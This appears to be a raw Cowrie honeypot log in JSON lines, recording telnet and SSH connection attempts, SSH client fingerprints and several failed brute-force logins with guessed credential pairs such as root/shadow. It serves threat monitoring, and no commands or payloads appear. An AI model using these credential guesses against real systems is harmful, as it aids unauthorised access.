{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36850,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb672541e3d","protocol":"telnet","message":"New connection: 192.119.13.58:36850 (10.17.0.5:23) [session: fbb672541e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:03.536371Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43508,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d44fd669a21","protocol":"telnet","message":"New connection: 192.119.13.58:43508 (10.17.0.5:23) [session: 0d44fd669a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:05.226732Z"}
{"eventid":"cowrie.session.closed","duration":49.36581492424011,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:13.856452Z","src_ip":"192.119.13.58","session":"f01448e36b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.11418628692627,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:18.201250Z","src_ip":"192.119.13.58","session":"2b6d2e47d35b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.38615822792053,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:25.390346Z","src_ip":"192.119.13.58","session":"c217e29cb0c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.279990196228027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:26.585448Z","src_ip":"192.119.13.58","session":"04e954a188fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62593960762024,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:33.847657Z","src_ip":"192.119.13.58","session":"ee1f4ec7f65f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880124807357788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:34.416358Z","src_ip":"192.119.13.58","session":"fbb672541e3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.9269073009491,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:34.963280Z","src_ip":"192.119.13.58","session":"4f4d99d01136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34090,"dst_ip":"10.17.0.5","dst_port":23,"session":"493c4f77e55d","protocol":"telnet","message":"New connection: 192.119.13.58:34090 (10.17.0.5:23) [session: 493c4f77e55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:38.098895Z"}
{"eventid":"cowrie.session.closed","duration":43.916919469833374,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:40.312636Z","src_ip":"192.119.13.58","session":"184f4f87556c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.89200258255005,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:42.281735Z","src_ip":"192.119.13.58","session":"33ff3eed371c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.51423954963684,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:43.740840Z","src_ip":"192.119.13.58","session":"0d44fd669a21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.32079792022705,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:45.998496Z","src_ip":"192.119.13.58","session":"f5e5f5a25c87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56426,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace76a474dbb","protocol":"telnet","message":"New connection: 192.119.13.58:56426 (10.17.0.5:23) [session: ace76a474dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:47.064528Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36638,"dst_ip":"10.17.0.5","dst_port":23,"session":"033e228ea26d","protocol":"telnet","message":"New connection: 192.119.13.58:36638 (10.17.0.5:23) [session: 033e228ea26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:50.408000Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45030,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ac23cc6a31","protocol":"telnet","message":"New connection: 192.119.13.58:45030 (10.17.0.5:23) [session: b0ac23cc6a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:53.482427Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54680,"dst_ip":"10.17.0.5","dst_port":23,"session":"f57c5e5dadd8","protocol":"telnet","message":"New connection: 192.119.13.58:54680 (10.17.0.5:23) [session: f57c5e5dadd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:57.102348Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60852,"dst_ip":"10.17.0.5","dst_port":23,"session":"f47c8d615271","protocol":"telnet","message":"New connection: 192.119.13.58:60852 (10.17.0.5:23) [session: f47c8d615271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:25:59.399754Z"}
{"eventid":"cowrie.session.closed","duration":58.08452868461609,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:00.260405Z","src_ip":"186.195.16.41","session":"170a67b55091","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":51632,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fa878adc488","protocol":"ssh","message":"New connection: 194.113.233.25:51632 (10.17.0.5:22) [session: 3fa878adc488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:01.964666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:01.975869Z","src_ip":"194.113.233.25","session":"3fa878adc488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:02.074614Z","src_ip":"194.113.233.25","session":"3fa878adc488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shadow","message":"login attempt [root/shadow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:02.363082Z","src_ip":"194.113.233.25","session":"3fa878adc488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:03.461518Z","src_ip":"194.113.233.25","session":"3fa878adc488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":51892,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c1a7834257c","protocol":"ssh","message":"New connection: 103.77.242.62:51892 (10.17.0.5:22) [session: 8c1a7834257c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:05.008126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:05.013422Z","src_ip":"103.77.242.62","session":"8c1a7834257c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:05.250010Z","src_ip":"103.77.242.62","session":"8c1a7834257c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linkin","message":"login attempt [root/linkin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:05.956238Z","src_ip":"103.77.242.62","session":"8c1a7834257c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51718,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8af4cbc024","protocol":"telnet","message":"New connection: 192.119.13.58:51718 (10.17.0.5:23) [session: 5a8af4cbc024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:05.963705Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53614,"dst_ip":"10.17.0.5","dst_port":23,"session":"80627b05c228","protocol":"telnet","message":"New connection: 192.119.13.58:53614 (10.17.0.5:23) [session: 80627b05c228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:06.590213Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:07.195971Z","src_ip":"103.77.242.62","session":"8c1a7834257c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52782,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d6ba7b9cefa","protocol":"ssh","message":"New connection: 80.94.92.184:52782 (10.17.0.5:22) [session: 7d6ba7b9cefa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:07.257533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:07.499261Z","src_ip":"80.94.92.184","session":"7d6ba7b9cefa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:07.503731Z","src_ip":"80.94.92.184","session":"7d6ba7b9cefa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:09.166025Z","src_ip":"80.94.92.184","session":"7d6ba7b9cefa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.686038017272949,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:09.276079Z","src_ip":"192.119.13.58","session":"80627b05c228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:10.867507Z","src_ip":"80.94.92.184","session":"7d6ba7b9cefa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44440,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d31bdd2b31","protocol":"telnet","message":"New connection: 192.119.13.58:44440 (10.17.0.5:23) [session: 40d31bdd2b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:12.976186Z"}
{"eventid":"cowrie.session.closed","duration":41.17998719215393,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:19.276867Z","src_ip":"192.119.13.58","session":"493c4f77e55d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.44587993621826,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:26.853761Z","src_ip":"192.119.13.58","session":"033e228ea26d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.3408899307251,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:27.405334Z","src_ip":"192.119.13.58","session":"ace76a474dbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.7528715133667,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:28.235183Z","src_ip":"192.119.13.58","session":"b0ac23cc6a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.359553813934326,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:39.461762Z","src_ip":"192.119.13.58","session":"f57c5e5dadd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44742,"dst_ip":"10.17.0.5","dst_port":23,"session":"381239978443","protocol":"telnet","message":"New connection: 192.119.13.58:44742 (10.17.0.5:23) [session: 381239978443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:40.055774Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":44464,"dst_ip":"10.17.0.5","dst_port":22,"session":"19dbd8098ba9","protocol":"ssh","message":"New connection: 103.75.182.198:44464 (10.17.0.5:22) [session: 19dbd8098ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:43.247145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:43.251381Z","src_ip":"103.75.182.198","session":"19dbd8098ba9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:43.501378Z","src_ip":"103.75.182.198","session":"19dbd8098ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"89211096722z","message":"login attempt [root/89211096722z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:44.252690Z","src_ip":"103.75.182.198","session":"19dbd8098ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59038,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1b4d490a3d9","protocol":"telnet","message":"New connection: 192.119.13.58:59038 (10.17.0.5:23) [session: a1b4d490a3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:44.330923Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:45.505538Z","src_ip":"103.75.182.198","session":"19dbd8098ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.71301817893982,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:46.112643Z","src_ip":"192.119.13.58","session":"f47c8d615271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37574,"dst_ip":"10.17.0.5","dst_port":23,"session":"8daaf95b8aec","protocol":"telnet","message":"New connection: 192.119.13.58:37574 (10.17.0.5:23) [session: 8daaf95b8aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:46.311885Z"}
{"eventid":"cowrie.session.closed","duration":34.45816969871521,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:47.434189Z","src_ip":"192.119.13.58","session":"40d31bdd2b31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44624,"dst_ip":"10.17.0.5","dst_port":23,"session":"07270a69b18c","protocol":"telnet","message":"New connection: 192.119.13.58:44624 (10.17.0.5:23) [session: 07270a69b18c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:48.398255Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47202,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cc863cea965","protocol":"telnet","message":"New connection: 192.119.13.58:47202 (10.17.0.5:23) [session: 6cc863cea965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:49.112994Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50212,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf8a7c4d73dd","protocol":"telnet","message":"New connection: 192.119.13.58:50212 (10.17.0.5:23) [session: bf8a7c4d73dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:50.053192Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53232,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7ae5e0d03e5","protocol":"telnet","message":"New connection: 192.119.13.58:53232 (10.17.0.5:23) [session: e7ae5e0d03e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:50.936282Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53698,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ddf92ae2640","protocol":"telnet","message":"New connection: 192.119.13.58:53698 (10.17.0.5:23) [session: 6ddf92ae2640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:51.103996Z"}
{"eventid":"cowrie.session.closed","duration":0.004843950271606445,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:51.108734Z","src_ip":"192.119.13.58","session":"6ddf92ae2640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":16580,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3187a92032b","protocol":"ssh","message":"New connection: 38.93.206.2:16580 (10.17.0.5:22) [session: b3187a92032b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:51.499201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:26:51.503873Z","src_ip":"38.93.206.2","session":"b3187a92032b","protocol":"ssh"}
